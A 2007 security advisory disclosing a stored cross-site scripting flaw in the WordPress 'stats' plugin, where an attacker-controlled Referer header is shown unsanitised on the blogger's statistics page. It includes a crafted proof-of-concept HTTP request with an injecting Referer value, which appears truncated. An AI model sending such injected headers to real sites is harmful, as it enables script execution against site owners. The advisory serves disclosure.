-----BEGIN PGP SIGNED MESSAGE----- Hash: SHA1 1. DESCRIPTION OF THE SOFTWARE On May 6th, 2007 a new WordPress plugin called "stats" was released. This plugin allows a WordPress user who has his blog self-hosted to use the Wordpress.com statistics. The plugin includes a JavaScript on the blog page to collect statistics from visitors. This statistics include page viewed, search engine keywords, if used, and referrer as well. 2. DESCRIPTION OF THE VULNERABILITY The referrer field is taken from the HTTP header generated by the user with his browser. So it's a user-input and it is possibile therefore to tamper with it. This is a snip of code taken from the stats page of Wordpress.com dashboard. ... http://www.referersite.it/?q=2 ... If an attacker creates an HTTP request like this, an alert box will be displayed when the blogger reads his stats: GET http://www.somewpblog.com/ HTTP/1.1 Host:www.siteofblogger.com User-Agent:Mozilla/5.0 (Windows; U; Windows NT 5.0; it; rv:1.8.1.3) Gecko/20070309 Firefox/2.0.0.3 Accept:text/xml,application/xml,application/xhtml+xml,text/html; q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5 Accept-Language:it,it-it;q=0.8,en-us;q=0.5,en;q=0.3 Accept-Encoding:gzip,deflate Accept-Charset:ISO-8859-1,utf-8;q=0.7,*;q=0.7 Keep-Alive:300 Connection:keep-alive Referer:http://www.e.it'>http://www.miosito.it'>